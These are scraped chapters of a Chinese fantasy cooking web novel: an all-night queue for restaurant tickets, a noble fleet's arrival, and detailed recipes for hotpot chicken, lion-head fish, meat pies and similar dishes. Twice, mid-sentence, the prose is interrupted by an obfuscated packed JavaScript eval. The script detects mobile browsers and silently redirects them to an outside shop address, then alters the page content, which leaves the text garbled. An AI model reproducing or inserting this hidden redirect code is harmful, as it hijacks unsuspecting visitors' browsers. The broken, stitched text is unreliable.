“好啊！”简菡用空着的手从身后用力一拉，将“隐身”在她身后，抱着臂膀正在看热闹的穆阳拽了出来，推到那人面前，“官就在此！” 穆阳看得正乐呵呢，忽然被推了出来。他不用看，也能感受到周围人投在他身上的目光。想到穿在身上的官服，他赶紧收敛了看戏的轻松神色，清了清嗓子，板起脸，拿出官府办案的威严，对着闹事的人沉声说道。 “你是李誉吧？家住鲤鱼沟屯，平日混迹赌场青楼，专靠闹事逃单。” “我没记错的话，县衙大牢里的每间牢房你都住了个遍吧？” “我来算算，你这个月是第几回闹事来着。青衿坊一次，笺上花坊一次，沉水堂一次，明烛阁一次，这是……第五次？” 一瞧见身着官服、面容严肃的穆阳，再听到自己老底被揭穿，李誉的腿肚子就一直在打颤，差点没站稳。 “大……大人……误会，都是误会……我……我冤枉啊……” 他语无伦次，额头还冒出了冷汗。 “冤不冤的，跟我们回衙门说清楚就知道了。”说罢，穆阳偏头，打了个手势，“带走！” 两名站在一旁的捕快应声上前，一左一右，像拎小鸡一样，将那哭爹喊娘、直呼“再也不敢了”的李誉给架了出去，声音渐渐消失在门外。 闹剧终于结束，食客们纷纷收回目光，交头接耳了几句，脸上带着了然和些许嘲讽的笑容，然后继续动起了筷子，大堂里很快又恢复了之前的热闹，只剩下碗筷碰撞和谈笑的声音。 简菡看着那人被拖走，长长舒了口气，但想到厨房里堆积如山、还等着她处理的菜单，以及锅里的菜可能快要糊了，她无奈地叹了口气，敬业地转身，小跑着回了自己的岗位，继续与柴米油盐奋战。 “老……老大，怎么办？”大堂的角落里，另一桌客人从头到尾目睹了这一切，此刻正瑟瑟发抖。 “怕什么！”一个脸上带着刀疤的狼人看起来云淡风轻的。 “掌柜的！”他举起手，桌上的其余人更加抖了。 汪屿走过来，见他们哆哆嗦嗦的，还以为他们吃出什么问题了。脸上的神色有些凝重。 他这一板着脸，那几个小弟心砰砰砰地快被吓出来了。 “辣炒鸡架、铁板鸡脆骨、土豆泥焖子、茉莉绿茶都再来一份，蛋炒饭和三鲜小馄饨再来三份。哦，对了，茉莉绿茶要全糖。” “好的，您稍等。” 汪屿记完菜单，手决翻飞，隔空就传到了后院，随后继续去忙了。 他一走，这桌的气氛瞬间缓和下来。 “吓死我了！”一个黄毛的小少年拍着自己的胸脯。 忽地，他像是想到了什么似的，悄咪咪地压低了声线，“老大，你不是说人类做的饭，狗都不吃吗？” 那位老大，一个眼刀就飞了过去，随机拿起桌上的被子抵在唇边，在液体碰到他唇瓣前，好似发出了一声“汪”？ 桌上的几人面面相觑，都当自己没听见。 黄毛眼珠子一转，又想到了新的问题。“那咱们这任务……”“ 你话怎么那么多！”老大在小黄毛的头上重重地敲了一下。 “本座堂堂狼王，还能言而无信不成！那人只给了来吃饭的定金，咱们都花在饭食上，不再去找他要尾款就得了呗。活咱们干了，可总的识时务吧，不然跟那鲤鱼一样被带走，上哪结尾款去？” 有道理啊！ 黄毛跟几个小弟纷纷亮出了大拇指。 “论如何当好一个恶霸，你们跟本座还有的学呢！小子们！” 41. 火锅鸡 这日，穆阳下值后便匆匆忙忙地赶回了家。 换下身上的官服，穿了身便于行动的寻常便装，他甚至来不及喝口热水，便赶紧出门去与早已约好的两位手下兄弟：叁万和八筒汇合。 三人各自端着自己从家里带来的小板凳，怀里抱着厚厚的棉被，目标明确，步履匆匆，齐刷刷地朝着汪仙楼冲去。 汪仙楼门前，情况已经十分的“严峻”了。 屋里用膳的客人尚未走完，门口却已经蜿蜒曲折地排起了一条长龙。 穆阳踮起脚尖，伸长脖子，努力地朝前张望，一连串密密麻麻的后脑勺，根本望不到队伍的起始之处。 他心下暗暗叫苦，却也无可奈何，只得认命地在队伍末尾寻了个位置，将自己带来的小板凳“啪”地一声放下，就此驻扎下来。 秋季的昼夜温差着实是大。白日里穿着还觉得有些发热的衣衫，到了这夜深露重之时，夜风一吹，便仿佛直接被吹透了，凉意丝丝缕缕地往骨头缝里钻。 穆阳忽地觉得鼻子一阵发痒，下一瞬“阿嚏！”一声，打了个响亮亮的喷嚏。 他使劲吸了吸鼻子，感觉那股凉意还未散去，于是不敢怠慢，赶忙将带来的厚棉被展开，从头到脚把自己裹得更严实了些，活像个巨大的蚕蛹。 他扭过头，叁万和八筒早已是头挨着头，靠在一起，不知何时已然进入了梦乡，甚至发出了轻微的鼾声。 穆阳看着他们，无奈地摇了摇头，随即轻手轻脚地帮他们把滑落些许的被角重新掖好，回转身，又原地跺了跺脚，试图驱散些寒意。 真冷啊。 他在心里默默感叹道。 汪仙楼的号，那可真是“一码难求”！ 穆阳放眼望去，排在他前头那乌央乌央的人群，也跟他们三人一样，是实打实地、心甘情愿地在这寒夜里苦熬，全是自己个儿在排队，没有一个是通过歪门邪道来的。 即使环境如此恶劣，寒风刺骨，睡意侵袭，也愣是没见到有人主动放弃离开。 毕竟汪仙楼墨无咎特制的号码牌，被施了独特的结界，旁人根本无法仿造，那些想靠倒卖号码、从中作梗牟利的票贩子们，纵有千般手段，在这结界面前也是无计可施。 穆阳在心里默默估算了一下自己这位置，正处于能否拿到号码的危险边缘，极有可能辛苦排了一整夜，最后却是竹篮打水一场空。 他将身上的被子又紧了紧，忍不住打了个大大的哈欠，困倦的泪水盈满了眼眶。 他只能在心里默默祈祷，希望明日清晨发号时，运气能站在自己这一边，让他们成功拿到一个号码。 夜半时分，万籁俱寂，唯有秋风掠过树梢的沙沙声。 不知是谁家养的公鸡，竟在这时发出了响亮的一声打鸣，划破了寂静的夜空，也将本就睡得不太安稳的穆阳彻底吵醒了。 他迷迷糊糊地睁开眼，长期维持着一个蜷缩的姿势，猛地一动，腿上顿时传来一阵又痛又痒、酥酥麻麻如同千万只小蚂蚁在爬的感觉。 穆阳龇牙咧嘴地用手使劲锤着自己的双腿，过了好半天，那难受的麻痹感才渐渐消退，缓过劲儿来。 他哈欠连天，眼角还挂着因困倦而溢出的生理性泪水，转头看了眼身旁依旧睡得香甜的叁万和八筒，心下有些羡慕。 他将自己身上披着的被子轻轻地挪到了他们身上，为他们增添些暖意。自己则腰酸背痛地，勉强站起身，活动着僵硬如同老朽门轴般的四肢，试图驱散那深入骨髓的疲惫与寒意。 时间在等待中缓慢流逝，东方天际终于泛起了一丝鱼肚白，黎明即将到来。 太阳可算是慢吞吞地爬了起来，虽然初升的阳光尚且微弱，但投射到身上，依旧带来了一丝珍贵的暖意，仿佛一夜之间沾染上的寒露与湿气，都被这柔和的晨光一点点烘干了似的，让人从心底里生出一股熨帖之感。 就在这时，汪仙楼内传来了一阵轻微的响动。没一会儿，只听“哐当”一声轻响，门栓被取下，紧接着，厚重的木门发出“吱呀”一声被人从里面缓缓推开了。 可算是要发号了！ 人群瞬间骚动起来，原本或坐或卧的人们纷纷起身，收拾着自己的被褥板凳。 穆阳也赶紧伸手，轻轻拍醒了还在熟睡中的叁万和八筒。三人手忙脚乱地将被褥卷起，拎着小板凳，跟着躁动不安的人群一起，不由自主地向前涌动、 每个人都伸长了脖子，眼巴巴地盼望着号码。 三日后的号码在距离穆阳他们还有相当一段路的时候，就已经被发放完毕了。 穆阳的心一下子提到了嗓子眼，赶紧在心里默念祈祷，只求四日后或者五日后的号码能顺利抢到一个，也不枉他们三人这寒夜里的苦苦守候。 然而，命运似乎总爱与人开玩笑。最后一个号码，刚好就截止在了排在他们正前方、紧挨着穆阳的那一个人手里。 墨无咎没想到能在这瞧见穆阳，看着穆阳那副由期盼转为绝望的滑稽表情，似是觉得十分新奇。他歪了歪头，看着穆阳。 视线相对那刻，他摊开双手对着穆阳耸了耸肩。 没有了。 随后，他甚至连一句客套的寒暄都没有，干脆利落地扭过头，转身就往屋里走。 这小子！ 穆阳想到墨无咎脸上那种欠欠的、让人看了牙根痒痒的表情，只觉得一股郁气堵在胸口，上不来也下不去。 他咬牙切齿地对着面前的空气一顿毫无章法的挥拳，仿佛要把这一夜的辛苦排队和此刻的失望郁闷，全部发泄出去似的。 “头儿，咱们……咱们这算是白忙活了一整夜？” 身后，八筒那带着迟疑、怯生生的话语，如同一把精准无比的小刀子，“噗嗤”一声，毫无防备地直接插进了穆阳的胸口，差点把他气得当场血溅三尺，魂归西天。 “谁说的！”穆阳猛地回过头，脸颊因气愤和窘迫而鼓胀起来，活像一只即将发起攻击的□□，“走！我请你们吃早餐去！镇东头那家胡记烧饼豆花，管够！” 吸取了前一晚失败的惨痛经验，回到衙门后，穆阳立刻又喊来了几个信得过的、手脚麻利的弟兄。 他将这些人分成了几个小组，进行了排班，确保汪仙楼发放未来几日号码的每一个清晨，都有他们的人手在队伍中坚守，如同钉子般扎在那里，誓要完成县令大人给他看的那张公文上所明确写下的、必须招待好即将到来的贵宾的艰巨任务！ 如此忙活了五六天，其间又是排号，又是小心翼翼地与前面排到号的的人商量着换号，穆阳最终可算是凑齐了四张连号的、能够在贵宾预定到访那几日使用的号码牌。 他捏着这来之不易的四张号码牌，如同捧着稀世珍宝，赶紧一路小跑着冲到县令面前，详细禀明了情况，并成功申请到了用于此次特殊招待的公款。 一切准备就绪，汪仙楼随即被正式包下了两天。 这两日内，全店闭门谢客，不再接待任何寻常食客，只为完成县衙交代的政治任务——专心致志地招待那几位身份尊贵的特殊来宾。 简菡在得知这个消息后，长舒了一口气。 可算能稍微喘口气了！ 连续的高强度劳作，面对川流不息的食客，她几乎快要忘记了放松是什么感觉。 这两日的闭门专供，虽然压力依然存在，但至少不必面对那永远排不完的长队和做不完的点单了。 贵宾抵达五福镇的这一天，汪仙楼的众人也都随着县衙的官差们，穿戴整齐，站在了迎接队伍的前排，准备一同迎接贵宾的到来。 浩浩荡荡的官船队伍，在高粱河的上渐渐露出了影来。 不仅仅是寻常百姓被这阵仗惊得目瞪口呆，交头接耳，就连见多识广的县令大人，在看到船队的全貌时，也被其气势所慑，惊艳地滞了一下，半晌没有说出话来。 船队由六艘巨大的官船组成，排列方式别具一格，极具威仪。 三艘体积最为庞大、装饰最为华丽的主船在前，呈“品”字形排列，如同三位开路先锋。 另外三艘体型稍次，但同样不容小觑的护卫船只，则巧妙地穿插在前方三艘主船的间隙之中，位于其后，形成了稳固的后卫与策应。 这种前后交错、主次分明的队形，不仅彰显了船队主人的尊贵身份与严密安保，更在视觉上形成了一种铺天盖地、浩浩荡荡的压迫感。 细看为首的主船，竟高达三层楼阁，船体线条流畅优美，却又透着一股不容侵犯的威严。 整艘船仿佛并非凡间工匠所能造就，倒像是从天宫瑶池直接驶入人间。 船身通体由极为名贵的金丝楠木打造而成，木料上天然形成的金丝纹路在阳光下闪烁着温润而内敛的光泽，仿佛有金色流光在木质纹理间缓缓游动。 船首雕刻着一只栩栩如生的巨大龙头，龙角峥嵘，须髯飞扬，龙口微张，露出锋利的牙齿，龙眼则是由两颗鸽卵大小的深海蓝宝石镶嵌而成，在日光照耀下折射出璀璨而冰冷的光芒，仿佛真龙再现，睥睨着河道两岸的众生。 船体的两侧，开着数十扇雕工精美的菱花格扇窗户，窗棂并非普通木料，而是以上等的紫檀木镂空雕刻出繁复的祥云与瑞兽图案。 每一扇窗户的窗纸，也非寻常之物，乃是采用了产自南海的薄如蝉翼、洁白透明的砗磲贝壳，经过能工巧匠的精心打磨后镶嵌其上。 阳光穿过这些贝壳窗棂，便被奇妙地分解折射，在船舱内部以及周围的水面上投下七彩斑斓、如梦似幻的光晕，宛如仙境霓虹。 最为引人注目、彰显其无上地位与财富的，莫过于那高耸入云的主桅杆。 桅杆本身是选用了百年以上的巨木，通体朱红，如同擎天之柱。 桅杆顶端，悬挂着一面巨大的旗帜，旗帜的底色是象征着吉祥与尊贵的正红色，而旗帜的中央，则用真正的、捻得极细的金线，以失传已久的“盘金绣”技法，绣着一条张牙舞爪、腾云驾雾的五爪龙纹。 龙纹在红底的映衬下，金光闪耀，熠熠生辉，即便相隔甚远，也能清晰地看到那威严的龙形随着旗帜的迎风招展而摆动，仿佛下一刻就要破旗而出，直上九天。 船帆更是奢侈地用了上等的杭绸制成，质地紧密，光滑如镜，帆面上还请了顶尖的画师，用不退色的矿物颜料绘满了“八仙过海”、“蟠桃盛会”等祥瑞图案，随着风的吹拂，帆面微微鼓动，那些神仙人物与灵兽仙果仿佛都活了过来，在云蒸霞蔚间流动演绎。 就连船檐之下，也悬挂着一排排精致小巧的青铜风铃，铃铛表面镌刻着祈福的经文。 河风拂过，这些铃铛并非发出杂乱无章的声响，而是如同被乐师调试过一般，奏出一串串清脆悦耳、高低错落的音符，这美妙的乐音随着清风远远传开，飘荡在整条高粱河面上，乃至两岸的街道巷陌，听在耳中，不似凡间声响，倒如同缥缈仙乐， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694994|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人心旷神怡，却又不由得心生敬畏。 哇！ 钱和权，可真是个好东西！能鼓捣出这般神仙排场！ 简菡在心里默默地念叨了这么一句。 船刚稳稳地靠上岸边的码头，穆阳等人便赶忙收敛起被震慑的心神，整理好衣冠，按照预先排练好的流程，冲上前去，毕恭毕敬地行礼、迎接。 这船不光是从远处看着庞大无比，其实际的承载能力也是惊人。 简菡看着从那几艘大船上鱼贯而下的、那乌央乌央的一大群人，脑子立刻速地运转起来，紧张地核算、思考着自己出门前根据预估人数所准备的各类食材，是否真的足够应付眼前这远超预期的人数。 专用的豪华马车拉了一趟又一趟，才总算将这批贵宾及其随行人员，连同他们的随身行李物品，从码头运送至汪仙楼。 汪仙楼的后厨忙得热火朝天。突然增多的人数打了简菡一个措手不及。 汪屿洗水果，雪翎去皮切片，简菡摆盘。三人忙得不行。 墨无咎不知道从哪个角落里钻了出来，“给楼上客人送水的时候，他们催果盘了。” “马上！” 简菡将预先准备出来的，先放到了托盘上，吩咐他先去送一波。随后继续手上的伙计，争分夺秒地将果盘凑够数。 “这么多人，咱楼上也住不下吧。” 雪翎忙完，便就近帮着简菡开始摆盘。 “‘人’确实挤不下，但若是化作原身，地方却还是相当空余的。” 折返回来的墨无咎，难得地主动说了一句算是八卦的消息。但这话说得没头没脑，含义莫测。 简菡听得一愣，还没来得及仔细琢磨这话里更深层的意思呢，穆阳又过来开始催饭了。 真是！ 催催催催！催什么催啊！ 汪屿甩了甩酸痛的胳膊，又扶着腰原地活动了几下，随后弯下腰，洗完水果开始洗菜。 土豆、青笋这类去皮的还好些，莲藕那种得用淤泥重的洗起来格外费劲。 数十只肥嫩母鸡都是清早送过来的、新鲜宰杀的，送来前就被剁成了块。 柴火烧得极旺，锅体已然烧热。 简菡舀起一大勺色泽清亮、香气纯正的菜籽油，沿着锅边淋入。油温迅速升高，冒出缕缕青烟。 看准时机，她将右手边早已准备好的、足有两大海碗的干辣椒段和花椒粒，“刺啦”一声全部倒入滚油之中。 刹那间，一股极其猛烈、辛辣呛鼻、却又带着奇异香气的味道如同爆炸般在厨房里弥漫开来，刺激得大伙不住连连咳嗽，眼泪都快流出来了。 待得辣椒和花椒的香气被热油完全激发出来，呈现出诱人的红亮色泽时，简菡眼疾手快，用细网笊篱将它们捞出大部分，以防过火变苦，只留下底油和部分香料。 紧接着，她将好几大勺豆瓣酱倒入锅中，用长柄铁铲快速翻炒。很快，豆瓣酱独有的酱香味与辣椒花椒的麻辣味融合在一起，锅中油色变得红亮润泽，这便是火锅鸡那灵魂般的“红油”底料。 堆积如小山般的鸡肉块全部倒入锅中，伴随着一阵更加响亮的“滋啦”声，鸡肉与滚烫的红油底料激烈碰撞。 简菡双臂用力，挥动铁铲，不停地翻炒，确保每一块鸡肉都能均匀地裹上酱料，颜色由生转熟，渐渐变得金黄诱人。随后，她依次倒入适量的黄酒去腥增香，淋入酱油提鲜增色，继续翻炒均匀。 “雪翎，香料包！”简菡头也不回地喊道。 雪翎闻声，立刻将一个早已准备好的、用细纱布包裹着的香料包递了过来。 那里面装着简菡精心配比的十几种香料：八角、桂皮、香叶、草果、豆蔻、丁香、小茴香……种类繁多，分量精准，也是这道火锅鸡味道层次丰富的关键所在。 简菡将香料包投入锅中，又与鸡肉一起翻炒片刻，让香料的滋味初步渗透。 接着，便是注入汤汁。 她指挥着雪翎用术法，将旁边那桶一直用小火慢炖、汤色奶白、浓郁鲜香的高汤缓缓倒入锅中，汤汁瞬间就淹没了所有的鸡肉。 随着汤汁的沸腾，各种香料、酱料与鸡肉本身的鲜味开始猛烈地撞击、融合，散发出一种复合而霸道的浓香，这香气比之前更加醇厚、更加勾人魂魄。 盖上厚重的木质锅盖，转为中火慢炖。 简菡这才稍稍松了口气，但手上的活计依旧不停。 她需要利用这段时间准备蘸料和检查其他配菜。 芝麻酱要用香油慢慢澥开，蒜要捣成细腻的蒜泥，香菜、小葱要切成碎末，花生要炒香碾碎，辣椒油要现炸才香……每一项都需要她亲自把关，确保风味绝佳。 约莫两炷香后，简菡撤去部分柴火，转为小火。 她深吸一口气，揭开了锅盖。 顿时，一股比之前更加浓郁、更加醇厚、融合了麻辣鲜香与鸡肉本味的终极香气，如同实质般喷涌而出，瞬间席卷了整个厨房，甚至透过门缝、窗隙，向外弥漫开去。 锅中的汤汁已然收浓了几分，色泽红亮油润，咕嘟咕嘟地冒着细密的气泡。包裹在浓稠汤汁中的鸡肉块，呈现出一种极其诱人的酱红色，油光发亮，微微颤动，仿佛在无声地呼唤着食客。 她撒入最后一把切得均匀的葱段和翠绿的香菜末。 赶紧招呼雪翎分装到提前烧好碳的铜锅中。 “掌柜的！上菜！” 42. 金毛狮子鱼、香河肉饼、总督豆…… 红亮的辣油在铜锅中翻滚，密密麻麻的花椒与干椒随着沸腾的汤汁起伏跳跃，散发出霸道浓烈的辛香。那香气仿佛带着钩子，直往人鼻腔里钻，勾得腹中馋虫蠢蠢欲动。 鸡肉块早已染上了一层诱人的酱色，在滚沸的红油中沉浮浸泡着，每一丝纤维都吸饱了汤汁的精华，显得饱满而油润。 脆爽的黑木耳与嫩绿的莴笋片、炖得边缘微微透明入口即化的土豆块、嫩滑如脂的豆腐，还有那半透明、韧性十足的宽粉……琳琅满目的配菜无一不在那咕嘟冒泡的红汤中舒展着身姿，热情地等待着被食客捞起，送入那期待已久的唇齿之间。 “嗯！是家里的味道！” 一位贵客刚将一块裹满红油的鸡肉放入口中，烫得他直呵气也舍不得吐出来，一边咀嚼，一边猛地吸了一口这熟悉而炽烈、带着花椒微微麻味的香气，忍不住低声叹道，声音里带着难以言喻的满足和一丝不易察觉的乡愁。 他们在水上赶了几天路，嘴里早已淡得出鸟，肠胃也被单调的干粮和河鲜折磨得萎靡不振。 此刻猛然吃到这口滚烫鲜辣、滋味十足、还带有记忆深处家乡滋味的火锅鸡，那麻辣鲜香在口中轰然炸开，瞬间唤醒了所有沉睡的味蕾。 一股暖流顺着食道滑入胃中，迅速蔓延至四肢百骸，忽然觉得眼睛和胃一样，都暖暖的，泛起些许湿意。好似连日舟车劳顿的疲惫，都被这一锅红火滚烫、滋味霸道的美食驱散了几分，只剩下熨帖与满足。 穆阳的肩膀被负责护送的郑大人重重拍了拍，那力道带着显而易见的赞许。穆阳心领神会，抱拳回了一礼，并未多言，一切尽在不言中。 后院，水井旁，简菡和雪翎正埋头于一大堆油腻的杯盘碗筷之中，哗啦啦的水声和碗碟碰撞声中，方才听见穆阳这迟来的转述。 “这群贵客可是……” 冀北两个字差点脱口而出，如同惊雷般在她脑海中炸响，简菡赶紧闭起了嘴，将后续的话语硬生生咽了回去，心脏不受控制地怦怦直跳。 顿了半晌，待那剧烈的心跳频率稍稍平复，不再撞击得耳膜生疼时，她才状似随意地重新问了一嘴，努力让自己的声音听起来平静无波，“这群贵客是哪里人啊？” “冀北。” 穆阳回答得干脆，他袖子半卷，露出线条结实、肤色微深的小臂，动作利落地将她们刷好冲洗干净的盘子接过，一叠叠稳稳当当地送进了厨房里码放整齐。 毕竟……这些天总得来简菡的厨房这蹭口新鲜热乎的饭吃，不干点活哪行啊！吃人嘴短的道理，他还是懂的。 冀北？ 简菡的眼睛倏地瞪大了几分，手上的动作都顿住了，拿着的那只碗差点滑回水盆里。 这里……这个时空，怎么会出现她那个世界里如此清晰、带着特定指向的地域名称！ “简菡？简菡！” 还没来得及顺着这个惊悚的念头深想下去，雪翎带着疑惑的声音忽然在她耳边响起，一只湿漉漉的手也随之在她眼前晃了晃。 “啊？怎么了？” 她猛地回过神，压下心头的惊涛骇浪，就见院里不知什么时候多了辆熟悉的驴车。看起来还十分眼熟，车辕上那个小小的缺口，像是……聂松的那架…… “你不是说家里食材不够，得赶紧去趟市场吗？怎么？忙忘了？”雪翎提醒道。 啧！ 简菡用手掌拍了下自己的脑门！发出清脆的响声。 她这脑子啊！ “马上！你等我一下！”她急忙说道。 洗盘子的水“哗啦”一声倒在院角的空地上，用旁边木桶里干净的清水匆匆将手上的油污和泡沫洗净，随后随意在身前那条粗布围裙上擦了擦。 “不急，你慢点。” 雪翎看着她手忙脚乱、差点被自己绊倒的样子，赶紧嘱咐了一句，生怕她忙中出错摔着了。 随后，她自然地指挥着倚在门边的墨无咎开始调转驴车的方向，自己则足尖轻点，身姿轻盈如燕，稳稳地跳上了车辕。 简菡可没有她这雪凰兽人的灵巧本事，只能老老实实地双手扒住车板，一脚踩着车辕，略显笨拙地爬了上去，在雪翎身边坐稳。 一路上，驴车晃晃悠悠，穿过青石板路，轱辘声单调地响着。 简菡却有些心不在焉，目光没有焦点地落在沿途的街景上。直到到了喧闹的市场入口，各种叫卖声、讨价还价声混杂着鸡鸭禽鸣扑面而来，驴车停了，她都还没发现已经到了目的地，还是雪翎轻轻拍着她的手臂，连喊了她两声，才将她从纷乱的思绪中唤醒。 “最近是不是太累了？” 雪翎察觉到她状态不对，眉头微蹙，还伸出手用手背贴了下简菡的额头。触感温凉，没发烧。 “没事，可能就是累了，有些走神。” 简菡勉强笑了笑，掩饰住内心的波澜，见墨无咎已经将驴车拴好在指定的位置，正抱臂等在一旁，她便赶紧挎上雪翎的胳膊，拉着她往人流如织的市场里走。 “走吧，今天要买的东西可不少。” 回到食肆后厨，简菡系紧围裙，深吸了几口气，尽力将纷乱的思绪压下，强迫自己专注于眼前的锅灶之间。 贵宾的身份之谜暂且搁置，满足他们的口腹之欲，做出能让他们满意的菜肴，才是当下的首要任务。 她取过一尾事先处理好的、肥美新鲜的黄河鲤鱼，运刀如飞，手法精准。 先去头尾，沿着脊骨片下两片厚肉，再去掉胸刺。接着，刀刃与鱼肉呈一定角度，将鱼肉切成薄而不断连的片，再迅捷地改刀成粗细均匀的细条，每条都巧妙地连着底部的鱼皮，确保其不会散开。 这极其考验厨师的刀工与耐心。 处理好的鱼肉提起来，丝缕分明，宛如待开的菊瓣。均匀地拍上薄薄一层干淀粉，确保每一根鱼丝都沾裹均匀，抖散。 油锅烧至六七成热，她手提鱼尾，先将鱼头部分浸入油中定型，再用筷子夹住鱼尾，使鱼身弯成弧形，另一手持长柄勺，舀起热油，反复而均匀地浇淋在鱼肉上。 沾了淀粉的鱼肉丝在热油的作用下迅速膨胀、定型、变得酥脆，根根直立，色泽金黄，瞬间绽放成一朵蓬松威武的“狮头”造型，霸气十足。捞出沥净油，摆入盘中。 另起一锅，加入番茄酱、白糖、白醋、少许清水和一点盐，熬成浓稠适中、色泽红亮的糖醋汁，最后勾入少许薄芡，迅速起锅，将那滚烫的糖醋汁“滋啦”一声浇在炸好的“狮子鱼”上，酸甜香气混合着油炸面食的焦香，瞬间扑鼻而来。 旁边的面案上，醒发好的面团被揉搓得光滑而有弹性。 她揪下一个剂子，熟练地擀成一张薄如蝉翼、几近透明的圆面皮，这极其考验手上功夫，力度稍有不均便会破皮。 随后将早已准备好的、由三分肥七分瘦猪肉剁成糜，加入葱姜末、酱油、盐、五香粉和煸香的花椒油调制而成的肉馅，取适量放在面皮中央。 像包包子一样仔细收口，捏紧，不留一丝缝隙。 然后用手掌轻轻将包好馅料的剂子压扁，再用擀面杖极其小心地、力道均匀地向四周擀开，擀成一张薄薄的圆饼坯。 过程中必须全神贯注，稍有不慎就会擀破露馅。 平底锅烧热，刷上极薄的一层油，将饼坯放入，改用小火慢慢烙制。 耐心等待，待饼皮底部烙出漂亮的金黄色斑点，面皮因为内里肉馅油脂的浸润而变得半透明，隐约可见内里饱满的、颜色深沉的馅料时，翻面，将另一面也烙至金黄。烙好的肉饼皮薄如纸，层次分明，油润诱人。 另一边，特制的、加入了鸡蛋使得口感更为嫩滑的鸡蛋豆腐，被小心地切成大小一致的方块。与提前泡发好的虾籽、干贝丝一同放入烧热的油锅中，炸至表面呈现诱人的金黄色，捞出控油。 锅内留底油，下入葱姜末爆香，烹入料酒，加入适量高汤、酱油、盐和少许糖调味，再将炸好的豆腐和海鲜料一同放入，轻轻推匀，让豆腐充分吸收汤汁的鲜美。 最后，以水淀粉勾芡，那芡汁需明亮透薄，紧紧包裹住每一块颤巍巍、金黄油亮的豆腐，淋上几滴明油增香，出锅装盘。火候的精准掌控，让豆腐既保持内在的嫩滑，又充分吸收了海鲜的浓郁鲜味，色泽金黄，诱人食欲。 炖得恰到好处、皮糯肉烂的猪前肘，已经去骨，切成厚薄适中的大片。均匀地挂上一层由淀粉和水调成的薄糊。 油锅烧至八成热，将挂糊的肘子肉片逐一下入，高温急炸，使其外皮迅速变得酥脆金黄，形成一层硬壳，而内里却依然保持着肘肉本身的软糯多汁和卤香的韵味。 最地道的吃法是用蒸好的、柔软而有韧性的薄饼，卷上几块炸得焦香的肘子肉，再配上几根清爽的黄瓜条和葱白丝，一口咬下，薄饼的麦香、肘子外皮的酥脆、内里的软糯咸香以及黄瓜葱丝的清爽汁水在口中交织碰撞，酥香与清爽并存，口感层次丰富到了极致，令人回味无穷。 旁边的大锅里，酱红色的牛肉清汤正微微翻滚着，那是用牛骨、牛肉和多种香料长时间熬煮而成的，汤色红润却清亮见底，味道醇厚。 没有包入馅料的半烫面烙饼，用刀切成大小适中的菱形块，垫在青花大碗的碗底。 再将炖煮得酥烂入味、切成薄片的酱牛肉整齐地码放在饼块上，撒上切得细细的嫩葱丝和翠绿的香菜段。 最后，舀起一大勺滚沸的、热气蒸腾的原汁牛肉汤，高高举起，均匀地浇在碗中，只听“刺啦”一声轻响，那滚烫的汤汁瞬间将饼块和牛肉片淹没、浸泡。 饼块以肉眼可见的速度吸饱了鲜美汤汁，变得柔软而仍带着嚼劲。牛肉片清香扑鼻，纹理分明。汤鲜味美，饼韧肉烂，果然当得起“色、香、味三绝”的美誉。 一道道承载着简菡记忆中“冀北”风味的美食被迅速而有序地端上了大堂。 眼看着最后一道菜被送出去，她忽然有些没来的紧张，心脏在胸腔里擂鼓般敲击着，手指不自觉地绞紧了身前的围裙边缘，几乎要将其拧破。 此时厅堂内，贵客们望着眼前琳琅满目、香气四溢的菜肴，眼中纷纷流露出惊叹与期待之色。 金毛狮子鱼造型霸气夺目，炸得蓬松酥脆的鱼条宛如雄狮怒张的鬃毛，昂首立于盘中，浓稠红亮的糖醋汁晶莹剔透，均匀地包裹其上。 小心地夹起一簇“狮鬃”，入口时先是感受到那令人胃口大开的鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704456|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明酸甜，轻轻一咬，外层酥脆化渣，随之而来的是内里鱼肉的鲜嫩细腻，酸甜汁与鱼肉的鲜香在口中完美融合，层次丰富，口感对比鲜明，令人叫绝，忍不住又伸出了筷子。 香河肉饼被切成均匀的三角块，底部烙出微焦的金黄色，皮薄如纸，几乎能透光，隐约透出内里饱满深色的肉馅。 夹起一块，咬破那酥脆中带着韧劲的饼皮，内里柔润多汁的肉馅顿时在口中释放出滚烫鲜美的汁水，浓郁的肉香混合着恰到好处的咸味和五香气息在口中弥漫开来，油润可口，却因为饼皮的轻薄和火候的精准，丝毫感觉不到腻口，反而越嚼越香。 总督豆腐色泽金黄诱人，静静地卧在浓稠发亮的芡汁中。虾籽与干贝的独特鲜香完美地融入豆腐的每一个气孔之中。 用汤匙舀起一块，那豆腐颤巍巍的，显示出极致的嫩滑。 送入口中，几乎无需咀嚼，舌尖轻轻一压便化开，醇厚滑嫩的豆香与海鲜浓缩的极致鲜味在口中交织、蔓延，相得益彰，咸鲜适口，回味悠长。 锅包肘子外皮炸得焦香酥脆，颜色金黄，光是看着就让人食指大动。内里的肘肉却依然保持着软糯入味的口感，肥瘦相间，卤香十足。 拿起一张旁边配备的薄饼，夹上几块肘子肉，再配上几根清脆的黄瓜条和辛辣提味的葱白丝，卷成卷，送入口中。 首先感受到的是薄饼的柔软和麦香，紧接着是肘子外皮的极致酥脆，伴随着“咔嚓”声在齿间碎裂，然后内里软糯咸香的肘肉滋味爆发开来，最后是黄瓜和葱丝带来的清爽汁水，瞬间化解了所有可能的油腻感。 